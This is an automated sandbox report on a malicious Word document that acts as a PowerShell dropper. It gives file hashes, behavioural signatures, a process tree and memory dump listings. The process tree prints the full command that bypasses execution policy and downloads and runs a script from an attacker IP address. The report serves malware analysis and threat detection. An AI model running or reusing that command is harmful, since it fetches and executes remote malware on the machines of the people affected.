Analysis

  • max time kernel
    59s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    25-05-2024 03:43

General

  • Target

    6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d.doc

  • Size

    35KB

  • MD5

    24452bcd3b0021f3a428dc32b62a1b0f

  • SHA1

    28cec296fa3a3ba5074cfa070e710efc3ed48473

  • SHA256

    6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d

  • SHA512

    a0cfcf79b046377bee8770b83cf2f8264b30bb900a4873e7d9f9c1464cacca3bc9e869ea92da0224ff99a4bf26342559b99fa37b4f60e6e29cbcf92b44deac44

  • SSDEEP

    384:qlE8iSwvxjk+t7DRF8Q8IQ7lbEZ0j9Tth6+G6:qlqxw+tD8DIolE8r6+G6

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://87.247.142.15:8081/Tube-rs.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://87.247.142.15:8081/Tube-rs.txt'))
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2504

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2504-66-0x000000001B6B0000-0x000000001B992000-memory.dmp

      Filesize

      2.9MB

    • memory/2504-67-0x00000000028E0000-0x00000000028E8000-memory.dmp

      Filesize

      32KB

    • memory/3048-12-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-20-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-53-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-60-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-59-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-58-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-35-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-34-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-41-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-13-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-73-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-11-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-27-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-10-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-9-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-8-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-7-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-6-0x00000000003D0000-0x00000000004D0000-memory.dmp

      Filesize

      1024KB

    • memory/3048-2-0x00000000719ED000-0x00000000719F8000-memory.dmp

      Filesize

      44KB

    • memory/3048-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3048-72-0x00000000719ED000-0x00000000719F8000-memory.dmp

      Filesize

      44KB

    • memory/3048-0-0x000000002FF51000-0x000000002FF52000-memory.dmp

      Filesize

      4KB